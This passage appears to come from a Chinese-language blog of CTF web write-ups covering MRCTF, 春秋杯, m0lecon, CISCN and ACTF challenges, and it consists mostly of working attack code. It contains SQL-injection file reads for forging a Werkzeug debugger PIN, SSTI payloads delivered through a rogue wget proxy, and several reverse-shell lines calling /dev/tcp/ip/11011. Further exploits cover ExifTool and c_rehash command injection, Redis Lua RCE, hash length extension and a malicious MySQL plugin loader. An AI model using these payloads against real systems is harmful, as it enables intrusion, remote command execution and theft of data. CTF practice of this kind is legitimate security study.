\u0026#39;\u0026#39;.join(random.sample(string.ascii_letters + string.digits, 8)) print(\u0026#34;[+]table: \u0026#34; + ran_str) url = f\u0026#34;\u0026#34;\u0026#34;http://172.21.198.90:5002/view?note_id=1\u0026#39;;CREATE TABLE IF NOT EXISTS `{ran_str}` ( `name` TEXT );load data local infile \u0026#34;{filename}\u0026#34; into table {ran_str} FIELDS TERMINATED BY \u0026#39;\\n\u0026#39;;%23\u0026#34;\u0026#34;\u0026#34; r = requests.get(url,headers=headers) url = f\u0026#34;\u0026#34;\u0026#34;http://172.21.198.90:5002/view?note_id=1\u0026#39; union select 1,2,3,4,(select group_concat(name) from {ran_str});%23\u0026#34;\u0026#34;\u0026#34; # print(url) r = requests.get(url,headers=headers) soup = BeautifulSoup(r.text, \u0026#39;lxml\u0026#39;) print(\u0026#34;[+]result: \u0026#34; + soup.find(\u0026#39;h1\u0026#39;,attrs={\u0026#39;style\u0026#39;: \u0026#39;text-align: center\u0026#39;}).string) get_content(\u0026#39;/etc/machine-id\u0026#39;) get_content(\u0026#39;/proc/sys/kernel/random/boot_id\u0026#39;) get_content(\u0026#39;/proc/self/cgroup\u0026#39;) get_content(\u0026#39;/sys/class/net/eth0/address\u0026#39;) 算pin\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import hashlib from itertools import chain def solve(username, eth0, machine_id, cgroup): probably_public_bits = [ username,# username ok \u0026#39;flask.app\u0026#39;, # ok \u0026#39;Flask\u0026#39; #ok, \u0026#39;/usr/local/lib/python3.8/site-packages/flask/app.py\u0026#39; # ok ] private_bits = [ eth0,# /sys/class/net/eth0/address machine_id + cgroup # \u0026#39;7cb84391-1303-4564-8eff-ef7571804198327e92627edf30f63fde916e3c3017aea76eeb876265a726270a575d391eeb4a\u0026#39;# machine-id # /etc/machine-id + /proc/self/cgroup ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode(\u0026#39;utf-8\u0026#39;) h.update(bit) h.update(b\u0026#39;cookiesalt\u0026#39;) cookie_name = \u0026#39;__wzd\u0026#39; + h.hexdigest()[:20] num = None if num is None: h.update(b\u0026#39;pinsalt\u0026#39;) num = (\u0026#39;%09d\u0026#39; % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = \u0026#39;-\u0026#39;.join(num[x:x + group_size].rjust(group_size, \u0026#39;0\u0026#39;) for x in range(0, len(num), group_size)) break else: rv = num print(rv) solve(\u0026#39;ctf\u0026#39;,str(int(\u0026#39;02:42:ac:14:00:03\u0026#39;.replace(\u0026#39;:\u0026#39;,\u0026#39;\u0026#39;),16)),\u0026#39;96cec10d3d9307792745ec3b85c89620\u0026#39;,\u0026#39;79804164df902a6bc925fb7d70a6e3b857c9a4af0e2c2d78a49b7c1954d9d078\u0026#39;) 然后执行命令\n[web]oh-my-lotto 先预测一下，然后改PATH 让wget command not found 这样就不会下载新的result\n然后去result看一下上一次预测的字符串 上传一个一模一样的就行了\n注意这里的文本用rb打开 字符串换行是\\n而在window上编辑换行是\\r\\n\n所以这里我用python二进制写入文本\n[web]oh-my-lotto-revenge 覆写模板 SSTI RCE 上传文件\nhttp_proxy = you_vps_ip:18181 referer = http://ssti_me/ output_document = /app/templates/index.html 设置环境变量 WGETRC = /app/guess/forecast.txt 刚刚上传的文件\n这样相当于给wget设置一个代理\n让wget下载我们可控的文件 文件内容\n服务器\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import socket HOST = \u0026#39;0.0.0.0\u0026#39; PORT = 18181 content_ssti = r\u0026#39;\u0026#39;\u0026#39;HTTP/1.0 200 OK Content-type: text/x-python Content-Length: 249 Content-Disposition: attachment; filename=index.html {{(x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}} \u0026#39;\u0026#39;\u0026#39; #Configure socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((HOST, PORT)) sock.listen(100) #infinite loop while True: # maximum number of requests waiting conn, addr = sock.accept() request = conn.recv(1024).decode() print(request) if \u0026#39;ssti\u0026#39; in request: conn.sendall(content_ssti.encode()) else: pass #close connection conn.close() 覆写ssti\n携带cookie访问主页\nCookie：w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__(\u0026#39;os\u0026#39;).popen(\u0026#39;任意命令\u0026#39;).read() 执行env得到flag\n也可以直接覆写wget 修改wget来RCE rce.c\n1 2 3 4 5 6 #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; void main() { system(\u0026#34;bash -c \u0026#39;exec bash -i \u0026amp;\u0026gt;/dev/tcp/ip/11011 \u0026lt;\u0026amp;1\u0026#39;\u0026#34;); } 1 2 3 4 gcc -E rce.c -o rce.i gcc -S rce.i -o rce.s gcc -c rce.s -o rce.o gcc rce.o -o wget 然后服务端\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #!/usr/bin/python3 import socket HOST = \u0026#39;0.0.0.0\u0026#39; PORT = 18181 content_ssti = rf\u0026#34;\u0026#34;\u0026#34;HTTP/1.0 200 OK Content-type: text/x-python Content-Length: {len((open(\u0026#39;./wget\u0026#39;,\u0026#39;rb\u0026#39;).read()))} Content-Disposition: attachment; filename=wget \u0026#34;\u0026#34;\u0026#34; fuck_content = r\u0026#39;\u0026#39;\u0026#39; HTTP/1.0 200 OK Content-type: text/x-python Content-Length: 11 fuck you!!! \u0026#39;\u0026#39;\u0026#39; #Configure socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((HOST, PORT)) sock.listen(100) #infinite loop while True: # maximum number of requests waiting conn, addr = sock.accept() request = conn.recv(1024).decode() print(request) if \u0026#39;ssti\u0026#39; in request: conn.sendall(content_ssti.encode()) fo = open(\u0026#39;./wget\u0026#39;,\u0026#39;rb\u0026#39;) while True: filedata = fo.read(1024) if not filedata: break conn.send(filedata) fo.close() else: conn.sendall(fuck_content.encode()) #close connection conn.close() MRCTF [WEB]webcheckin 上了波车，拿到源码审计一下\n此处会执行我们的上传的php代码(root权限)\n1 a = subprocess.Popen([\u0026#34;php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 \u0026#34; + each_filepath], 弹个shell\nPOST / HTTP/1.1 Host: webshell.node3.mrctf.fun Content-Length: 279 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://webshell.node3.mrctf.fun Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytALBjmF5CJrH78jB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://webshell.node3.mrctf.fun/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundarytALBjmF5CJrH78jB Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;test45072.php\u0026#34; Content-Type: application/octet-stream \u0026lt;?php system(\u0026#34;bash -c \u0026#39;exec bash -i \u0026amp;\u0026gt;/dev/tcp/ip/11011 \u0026lt;\u0026amp;1\u0026#39;\u0026#34;);?\u0026gt; ------WebKitFormBoundarytALBjmF5CJrH78jB-- 翻日志找到flag\nroot@cb961d9e7cf3:/var/log# grep -rn \u0026#34;MRCTF\u0026#34; . grep -rn \u0026#34;MRCTF\u0026#34; . ./dpkg.log:1881:MRCTF{3f1d6ea4-d544-46f8-ba7c-cfcd0efa31ae} 源码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 from flask import Flask, request from werkzeug.utils import secure_filename # 获取上传文件的文件名 import random import hashlib import shutil import subprocess import pickle import pandas as pd import os,stat import re UPLOAD_FOLDER = r\u0026#39;/tmp/upload/\u0026#39; # 上传路径 ALLOWED_EXTENSIONS = set([\u0026#39;php\u0026#39;]) # 允许上传的文件类型 app = Flask(__name__) app.config[\u0026#39;UPLOAD_FOLDER\u0026#39;] = UPLOAD_FOLDER with open(\u0026#39;/tmp/vec-model.pkl\u0026#39;, \u0026#34;rb\u0026#34;) as file: vectorizer = pickle.load(file) with open(\u0026#39;/tmp/rfc-model.pkl\u0026#39;, \u0026#34;rb\u0026#34;) as file: rfc = pickle.load(file) # vectorizer = joblib.load(\u0026#39;vectorizer.pkl\u0026#39;) # rfc = joblib.load(\u0026#39;rfc.pkl\u0026#39;) RD, WD, XD = 4, 2, 1 BNS = [RD, WD, XD] MDS = [ [stat.S_IRUSR, stat.S_IRGRP, stat.S_IROTH], [stat.S_IWUSR, stat.S_IWGRP, stat.S_IWOTH], [stat.S_IXUSR, stat.S_IXGRP, stat.S_IXOTH] ] def chmod(path, mode): if isinstance(mode, int): mode = str(mode) if not re.match(\u0026#34;^[0-7]{1,3}$\u0026#34;, mode): raise Exception(\u0026#34;mode does not conform to ^[0-7]{1,3}$ pattern\u0026#34;) mode = \u0026#34;{0:0\u0026gt;3}\u0026#34;.format(mode) mode_num = 0 for midx, m in enumerate(mode): for bnidx, bn in enumerate(BNS): if (int(m) \u0026amp; bn) \u0026gt; 0: mode_num += MDS[bnidx][midx] os.chmod(path, mode_num) def index_of_str(s1, s2): res = [] len1 = len(s1) len2 = len(s2) if s1 == \u0026#34;\u0026#34; or s2 == \u0026#34;\u0026#34;: return -1 for i in range(len1 - len2 + 1): if s1[i] == s2[0] and s1[i:i+len2] == s2: res.append(i) return res if res else -1 def detector(each_filepath): print(\u0026#34;模型成功加载\u0026#34;) each_path = \u0026#34;/tmp/upload/test.php\u0026#34; try: a = subprocess.Popen([\u0026#34;php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 \u0026#34; + each_filepath], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) with open(each_filepath+\u0026#34;.op\u0026#34;, \u0026#34;wb\u0026#34;) as fp: fp.write(a.communicate()[1]) fp.close() print(each_path) words_operands = \u0026#34;\u0026#34; words_op = \u0026#34;\u0026#34; with open(each_filepath+\u0026#34;.op\u0026#34;, \u0026#34;r\u0026#34;) as fp: tmp = fp.readlines() flag = 0 idx_op = 0 data = [] all_data = [] for i in range(0, len(tmp)): if \u0026#34;\\n\u0026#34; == tmp[i]: if flag == 1: all_data.append(data) data = [] flag = 0 if flag == 1: # print(each) a = tmp[i][:-1] each_op = a[idx_op:idx_fetch].lstrip().rstrip() each_operands = a[idx_operands:].lstrip().rstrip() each_return = a[idx_return:idx_operands].lstrip().rstrip() data.append([each_op, each_return, each_operands, 1]) words_operands += each_operands + \u0026#34; \u0026#34; words_op += each_op + \u0026#34; \u0026#34; if \u0026#34;---\u0026#34; in tmp[i]: flag = 1 idx_op = index_of_str(tmp[i - 1], \u0026#34;op\u0026#34;)[0] idx_operands = index_of_str(tmp[i - 1], \u0026#34;operands\u0026#34;)[0] idx_fetch = index_of_str(tmp[i - 1], \u0026#34;fetch\u0026#34;)[0] idx_return = index_of_str(tmp[i - 1], \u0026#34;return\u0026#34;)[0] except: print(\u0026#34;can\u0026#39;t parse\u0026#34;) exit(0) vector = vectorizer.transform([words_op]) print(vector.shape) vec = vector.toarray() print(vec) df = pd.DataFrame(vec) print(rfc.predict(df)) if rfc.predict(df) == 1: return 1 def gen_path(): seed = \u0026#34;1234567890abcdefghiZQAXSWCDEVFRBGTNHYJMUKOLPjklmnopqrstuvwxyz\u0026#34; sa = [] for i in range(15): sa.append(random.choice(seed)) salt = \u0026#39;\u0026#39;.join(sa) print(salt) # 打印显示的随机字符 hash = hashlib.md5() hash.update(salt.encode()) md5_test = hash.hexdigest() return md5_test import os def mkdir(path): folder = os.path.exists(path) if not folder: # 判断是否存在文件夹如果不存在则创建为文件夹 os.makedirs(path) # makedirs 创建文件时如果路径不存在会创建这个路径 def allowed_file(filename): # 验证上传的文件名是否符合要求，文件名必须带点并且符合允许上传的文件类型要求，两者都满足则返回 true return \u0026#39;.\u0026#39; in filename and \\ filename.rsplit(\u0026#39;.\u0026#39;, 1)[1] in ALLOWED_EXTENSIONS @app.route(\u0026#39;/\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def upload_file(): if request.method == \u0026#39;POST\u0026#39;: # 如果是 POST 请求方式 file = request.files[\u0026#39;file\u0026#39;] # 获取上传的文件 if file and allowed_file(file.filename): # 如果文件存在并且符合要求则为 true filename = secure_filename(file.filename) # 获取上传文件的文件名 file.save(os.path.join(app.config[\u0026#39;UPLOAD_FOLDER\u0026#39;], filename)) # 保存文件 if detector(\u0026#39;/tmp/upload/\u0026#39;+filename): return \u0026#39;not allowed!\u0026#39; # 返回保存成功的信息 else : dir_name = gen_path() upload_path = \u0026#34;/var/www/html/\u0026#34;+dir_name + \u0026#39;/index.php\u0026#39; upload_dir = \u0026#39;/var/www/html/\u0026#39; + dir_name + \u0026#39;/\u0026#39; mkdir(upload_dir) shutil.move(os.path.join(app.config[\u0026#39;UPLOAD_FOLDER\u0026#39;], filename), upload_path) chmod(upload_dir,555) return upload_path.replace(\u0026#34;/var/www/html/\u0026#34;,\u0026#34;/shell/\u0026#34;) # 使用 GET 方式请求页面时或是上传文件失败时返回上传文件的表单页面 return \u0026#39;\u0026#39;\u0026#39; \u0026lt;!doctype html\u0026gt; \u0026lt;title\u0026gt;Upload new File\u0026lt;/title\u0026gt; \u0026lt;h1\u0026gt;Upload new File\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;\u0026#34; method=post enctype=multipart/form-data\u0026gt; \u0026lt;p\u0026gt;\u0026lt;input type=file name=file\u0026gt; \u0026lt;input type=submit value=Upload\u0026gt; \u0026lt;/form\u0026gt; \u0026#39;\u0026#39;\u0026#39; os.system(\u0026#34;service apache2 restart\u0026#34;) app.run(\u0026#34;0.0.0.0\u0026#34;,5000) 春秋杯 [web]picture_convert 核心代码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route(\u0026#39;/upload\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def upload(): type = request.form.get(\u0026#34;type\u0026#34;, \u0026#34;jpg\u0026#34;) file_info = request.files[\u0026#39;file\u0026#39;] file_data = file_info.read() if check_data(file_data): return \u0026#34;No hacker\u0026#34; f = open(\u0026#34;./static/images/tmpimg\u0026#34;, \u0026#39;wb\u0026#39;) f.write(file_data) f.close() new_filename = str(uuid.uuid4()) + \u0026#39;.\u0026#39; + type session[\u0026#34;filename\u0026#34;] = new_filename print(new_filename) return \u0026#34;文件上传成功，其他模块还在开发中~~~\u0026#34; @app.route(\u0026#39;/convert\u0026#39;, methods=[\u0026#39;GET\u0026#39;]) def convert(): print(f\u0026#34;su - conv -c \u0026#39;cd /app/static/images/ \u0026amp;\u0026amp; convert tmpimg {session[\u0026#39;filename\u0026#39;]}\u0026#39;\u0026#34;) os.system(f\u0026#34;su - conv -c \u0026#39;cd /app/static/images/ \u0026amp;\u0026amp; convert tmpimg {session[\u0026#39;filename\u0026#39;]}\u0026#39;\u0026#34;) json_data = {\u0026#34;path\u0026#34;: session[\u0026#39;filename\u0026#39;]} return json.dumps(json_data) session[‘filename’] 处可控，可以命令注入\n发包，弹个shell，然后cat flag* 就行了\nPOST /upload HTTP/1.1 Host: eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888 Content-Length: 389 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVrVSavkEhau25WE2 Origin: http://eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888 Referer: http://eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1651813802; ci_session=f5b19a1595270547cebe75ae6ce4227dbd3e59b1; __jsluid_h=d234c46bd056a4881f51aef688ff89ac Connection: close ------WebKitFormBoundaryVrVSavkEhau25WE2 Content-Disposition: form-data; name=\u0026#34;type\u0026#34; jpg\u0026#39;;bash -c \u0026#39;exec bash -i \u0026amp;\u0026gt;/dev/tcp/ip/11011 \u0026lt;\u0026amp;1\u0026#39;;\u0026#39; ------WebKitFormBoundaryVrVSavkEhau25WE2 Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;123.png\u0026#34; Content-Type: image/png test ------WebKitFormBoundaryVrVSavkEhau25WE2-- [web]picture_convert_plus 打 cve CVE-2021-22204\nhttps://www.anquanke.com/post/id/266606#h3-13\nprintf \u0026#39;P1 1 1 0\u0026#39; \u0026gt; moo.pbm cjb2 moo.pbm moo.djvu printf \u0026#39;ANTa\\0\\0\\0\\36\u0026#34;(xmp(\\\\\\n\u0026#34;.`(echo 2\u0026gt;/tmp/4)`;#\u0026#34;\u0026#39; \u0026gt;\u0026gt; moo.djvu 这里的36用python2 oct(len(\u0026#39;\u0026#34;(xmp(\\\\\\n\u0026#34;.`(echo 2\u0026gt;/tmp/4)`;#\u0026#34;\u0026#39;)) 算出来的 (里面放命令) 测试用的su - exif -c \u0026#39;/app/exiftool-12.23/exiftool /app/static/moo.djvu\u0026#39; 能执行命令，exif权限….\n拿到一半flag，另一半的flag没打通，赛后问了一下苏安师傅，非预期，直接在/proc下grep flag ….\n官方wp没出，题目环境还要认证，，盖章，，乌鱼子\nm0lecon [web]fancynotes hash拓展攻击 https://www.cnblogs.com/pcat/p/5478509.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import hashpumpy from base64 import b64encode import requests proxies = {\u0026#34;http\u0026#34;: \u0026#34;http://192.168.0.110:8080\u0026#34;} def req(exp): burp0_url = \u0026#34;https://fancynotes.m0lecon.fans/notes\u0026#34; burp0_cookies = {\u0026#34;user\u0026#34;: exp} burp0_headers = {\u0026#34;Pragma\u0026#34;: \u0026#34;no-cache\u0026#34;, \u0026#34;Cache-Control\u0026#34;: \u0026#34;no-cache\u0026#34;, \u0026#34;Sec-Ch-Ua\u0026#34;: \u0026#34;\\\u0026#34; Not A;Brand\\\u0026#34;;v=\\\u0026#34;99\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;101\\\u0026#34;, \\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;101\\\u0026#34;\u0026#34;, \u0026#34;Sec-Ch-Ua-Mobile\u0026#34;: \u0026#34;?0\u0026#34;, \u0026#34;Sec-Ch-Ua-Platform\u0026#34;: \u0026#34;\\\u0026#34;Windows\\\u0026#34;\u0026#34;, \u0026#34;Upgrade-Insecure-Requests\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36\u0026#34;, \u0026#34;Accept\u0026#34;: \u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\u0026#34;, \u0026#34;Sec-Fetch-Site\u0026#34;: \u0026#34;same-origin\u0026#34;, \u0026#34;Sec-Fetch-Mode\u0026#34;: \u0026#34;navigate\u0026#34;, \u0026#34;Sec-Fetch-User\u0026#34;: \u0026#34;?1\u0026#34;, \u0026#34;Sec-Fetch-Dest\u0026#34;: \u0026#34;document\u0026#34;, \u0026#34;Referer\u0026#34;: \u0026#34;https://fancynotes.m0lecon.fans/login\u0026#34;, \u0026#34;Accept-Encoding\u0026#34;: \u0026#34;gzip, deflate\u0026#34;, \u0026#34;Accept-Language\u0026#34;: \u0026#34;zh-CN,zh;q=0.9\u0026#34;, \u0026#34;Connection\u0026#34;: \u0026#34;close\u0026#34;} r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, allow_redirects=False) if r.status_code==302: print(r.status_code) else: print(burp0_cookies) exit() def gencookie(i): res = hashpumpy.hashpump(\u0026#34;17cb085301c56cbf64bacf48bff77a6776940745c895babd8df05e85da1ee1cc\u0026#34;, \u0026#34;username=L111,locale=en\u0026#34;, \u0026#34;,username=admin\u0026#34;, i) print(res) sign = res[0] userstr = res[1] cookie = b64encode(userstr+b\u0026#39;|\u0026#39;+sign.encode()) print(cookie) return cookie.decode() def fuck(): for i in range(15,40): print(i) exp = gencookie(i) req(exp) fuck() [web]Dumb Forum 有一个ssti 注册邮箱处\nt{{url_for.__globals__.os.environ}}@qq.com 没能RCE 从环境变量中拿到flag\n[misc] Placey 头像处有上传点，上传报错得到ExifTool 12.37 CVE-2022-23935\n构造filename=L1ao;cmd |可执行命令 但是很多东西都没有\nContent-Disposition: form-data; name=\u0026#34;avatar\u0026#34;; filename=\u0026#34;97341154_p0_master21200.jpg;echo base64==|base64 -d|bash -i |\u0026#34; 反弹shell\n打redis https://www.adminxe.com/3620.html\n1 2 3 4 5 6 7 appuser@placey2:/root/quart$ redis-cli -h 127.0.0.1 redis-cli -h 127.0.0.1 eval \u0026#39;local io_l = package.loadlib(\u0026#34;/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\u0026#34;, \u0026#34;luaopen_io\u0026#34;); local io = io_l(); local f = io.popen(\u0026#34;uname -a\u0026#34;, \u0026#34;r\u0026#34;); local res = f:read(\u0026#34;*a\u0026#34;); f:close(); return res\u0026#39; 0 Linux placey2 5.10.112-108.499.amzn2.x86_64 #1 SMP Wed Apr 27 23:39:40 UTC 2022 x86_64 GNU/Linux eval \u0026#39;local io_l = package.loadlib(\u0026#34;/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\u0026#34;, \u0026#34;luaopen_io\u0026#34;); local io = io_l(); local f = io.popen(\u0026#34;cat /root/flag.txt\u0026#34;, \u0026#34;r\u0026#34;); local res = f:read(\u0026#34;*a\u0026#34;); f:close(); return res\u0026#39; 0 ptm{th3r3_w1ll_n3v3r_b3_@_pl@c3y_l1k3_h0m3y} CISCN [web]ezpop web签到题\n网上直接有链子，如果网上没有话也不至于签到…\nhttps://m.freebuf.com/vuls/321546.html\n[web]online_crt uri可控，可以伪造任意http请求头\n学点go c.Request.URL.RawPath 给请求头斜杆任意一个编个码，不然这个就为空\n最好本地测试\n然后就是考 c_rehash 这个的 CVE-2022-1292\n网上没有现成的poc 找到一个 https://www.bilibili.com/video/BV1P54y1Z7S6/\n但是这个 用 \u0026amp;\u0026amp; 如果前面命令失败就不会执行后面的命令 所以改成用 ; 只需要一个证书即可\n也可以自己分析一下，像我这么菜都看得懂了\nperl里面 反引号 ` 会执行命令\n定位一下\n1 2 3 4 my ($hash, $fprint) = `\u0026#34;$openssl\u0026#34; x509 $x509hash -fingerprint -noout -in \u0026#34;$fname\u0026#34;`; # 如果我们的文件名为 be3862b0-6e41-448e-b30a-e627dda06cac.crt\u0026#34;;ls\u0026gt;1;echo \u0026#34;.crt # 就会执行这个命令 \u0026#34;$openssl\u0026#34; x509 $x509hash -fingerprint -noout -in \u0026#34;be3862b0-6e41-448e-b30a-e627dda06cac.crt\u0026#34;;ls\u0026gt;1;echo \u0026#34;.crt\u0026#34; # 上面命令里的其他变量我没写..$openssl $x509hash 还有一点就是重命名的话 最好base64 编码一下，不然如果有 / 的会导致rename失败\n还得注意你的payload 如果你把你的命令输出到static文件夹下的话，要注意文件内容是否有被其他命令覆盖了\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #!/usr/bin/python3 import requests from urllib.parse import quote import base64 def gen_crt(target_url): # 生成一个证书 dataa = { \u0026#34;City\u0026#34;:\u0026#34;CN\u0026#34;, \u0026#34;CommonName\u0026#34;:\u0026#34;CN\u0026amp;Country\u0026#34;, \u0026#34;CN\u0026amp;EmailAddress\u0026#34;:\u0026#34;CN%40CN.CN\u0026#34;, \u0026#34;OrganizationalName\u0026#34;:\u0026#34;CN\u0026#34;, \u0026#34;Province\u0026#34;:\u0026#34;CN\u0026#34;, \u0026#34;submit\u0026#34;:\u0026#34;\u0026#34; } r = requests.post(url=target_url+\u0026#34;getcrt\u0026#34;,data=dataa) c1 = r.text[11:] print(c1) return c1 def rname(fname,target_url,cmd): # 重命名这个证书 rname_url = target_url + \u0026#34;proxy\u0026#34; command = fname + \u0026#39;\u0026#34;;{};echo \u0026#34;.crt\u0026#39;.format(cmd) command = quote(command, \u0026#39;utf-8\u0026#39;) uri = \u0026#34;\u0026#34;\u0026#34;/admin%2Frename?oldname={}\u0026amp;newname={} HTTP/1.1 Host: admin User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close x=\u0026#34;\u0026#34;\u0026#34;.format(fname,command) # 构造任意http包 # print(uri) dataa = { \u0026#34;uri\u0026#34;:uri } r = requests.get(url=rname_url,data=dataa) # print(r.text) def rce(rce_url): rcee_url = rce_url + \u0026#34;createlink\u0026#34; r = requests.get(url = rcee_url) res_url = rce_url + \u0026#34;static/crt/1\u0026#34; # 这里我把命令结果输出到1里面... r = requests.get(url = res_url) print(r.text) if __name__ == \u0026#34;__main__\u0026#34;: url = \u0026#34;http://1.14.71.254:28981/\u0026#34; cmd = \u0026#34;rm *;cat /etc/passwd \u0026gt; 1\u0026#34; # rename 时候不能有 / 因为有 / 会有目录bug 可以使用base编码 还要bug的原因是可能命令重叠了 base_cmd = f\u0026#34;echo {base64.b64encode(cmd.encode()).decode()}|base64 -d|bash -i\u0026#34; # 对命令进行base64编码 print(base_cmd) cmd = base_cmd fname = gen_crt(url) rname(fname,url,cmd) rce(url) ACTF [web]myclient mysqli_options 可控\nhttps://www.php.net/manual/zh/mysqli.options.php\n设置 MYSQLI_INIT_COMMAND 执行任意sql语句\n设置 MYSQLI_READ_DEFAULT_FILE 可以从指定的文件中读取客户端配置选项\n写入一个恶意so文件和一个自定义客户端配置 然后加载客户端配置会去加载自定义plugin.so实现客户端rce\nhttps://dev.mysql.com/doc/c-api/5.7/en/c-api-plugin-interface.html\na client that supports the use of authentication plugins normally causes a plugin to be loaded by calling mysql_options() to set the MYSQL_DEFAULT_AUTH and MYSQL_PLUGIN_DIR options:\n恶意so生成\n#define _GNU_SOURCE #include \u0026lt;stdlib.h\u0026gt; __attribute__ ((__constructor__)) void preload (void) { system(\u0026#34;touch /tmp/pwned\u0026#34;); } //# gcc evil450.c -o evil450.so --shared -fPIC //mmmmy.cnf [client]# plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e # default_auth=evil450 # default_authentication_plugin = evil450 # default_authentication = evil450 # init-command=SELECT 0x(恶意so的十六进制) INTO DUMPFILE \u0026#34;/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so\u0026#34;;# mysql写文件把mmmmy.cnf 写入 /tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf 然后访问\nhttp://ip:port/index.php?key=4\u0026amp;value=/tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf\n执行任意命令\n文件分块传输，最后用sql语句拼接，exp:\nmysql 写文件会在行末加 \\ 注意截取 别吞byte 会导致so损坏\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requests url = \u0026#34;http://124.71.205.170:10047/index.php\u0026#34; payload = [] with open(\u0026#34;res1.txt\u0026#34;,\u0026#34;r\u0026#34;) as f:#res1.txt 是 mmmmy.cnf文件的十六进制 file_data = f.read() i = 0 j = 0 while i \u0026lt; len(file_data): if i + 1000 \u0026gt; len(file_data): values = file_data[i:] else: values = file_data[i:i + 1000] i = i + 1000 j = j + 1 payload+=[values] #分块长度，1000个十六进制，500个字符 length = int(500) #生成分块文件的sql语句 filenames = [] i=0 for v in payload: filename = \u0026#34;/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS\u0026#34;+str(i) filenames += [filename] sql = \u0026#34;select 0x\u0026#34;+v+\u0026#34; into outfile \u0026#39;\u0026#34;+filename+\u0026#34;\u0026#39;\u0026#34; print(sql) i+=1 params = { \u0026#34;key\u0026#34; : 3, \u0026#34;value\u0026#34; : sql } resp = requests.get(url,params) print(resp.text) #文件合并 sqlinit = 